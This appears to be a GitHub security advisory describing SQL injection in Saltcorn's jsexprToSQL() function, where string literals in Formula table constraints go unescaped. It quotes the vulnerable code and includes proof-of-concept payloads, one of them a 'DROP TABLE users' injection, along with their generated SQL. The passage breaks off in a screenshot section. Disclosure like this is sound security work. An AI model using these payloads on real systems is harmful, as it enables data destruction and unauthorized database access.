GHSA-59xv-588h-2vmm

## Summary The `jsexprToSQL()` function in Saltcorn converts JavaScript expressions to SQL for use in database constraints. The `Literal` handler wraps string values in single quotes without escaping embedded single quotes, allowing SQL injection when creating Formula-type table constraints. ## Vulnerable Component **File:** `packages/saltcorn-data/models/expression.ts`, lines 117-118 ```typescript Literal({ value }: { value: ExtendedNode }) { if (typeof value == "string") return `'${value}'`; // NO ESCAPING! return `${value}`; }, ``` **Call chain:** Formula constraint creation → `table_constraints.ts:127` → `jsexprToSQL()` → `Literal()` → `db.query()` executes unsanitized SQL. ## Proof of Concept ### Injection via Formula Constraint When an admin creates a Formula-type table constraint with the expression: ```javascript name === "test' OR '1'='1" ``` The `jsexprToSQL()` function generates: ```sql (name)=('test' OR '1'='1') ``` This is then executed as: ```sql ALTER TABLE "tablename" ADD CONSTRAINT "tablename_fml_1" CHECK ((name)=('test' OR '1'='1')); ``` The single quote in the string literal is not escaped, breaking out of the SQL string context. ### More Dangerous Payload ```javascript name === "'; DROP TABLE users; --" ``` Generates: ```sql (name)=(''; DROP TABLE users; --') ``` ### Verified on Saltcorn v1.5.0 (Docker) Direct invocation of `jsexprToSQL()` inside the running container confirms the vulnerability: ``` Input: name === "hello" Output: (name)=('hello') ← Normal Input: name === "test' OR '1'='1" Output: (name)=('test' OR '1'='1') ← Single quote NOT escaped, OR injected Input: name === "'; DROP TABLE users; --" Output: (name)=(''; DROP TABLE users; --') ← DROP TABLE injected ``` The test was performed on a completely fresh Saltcorn installation (zero user-created tables, default Docker setup). ### PoC Screenshot 1. Create a table after moving to the table menu <img width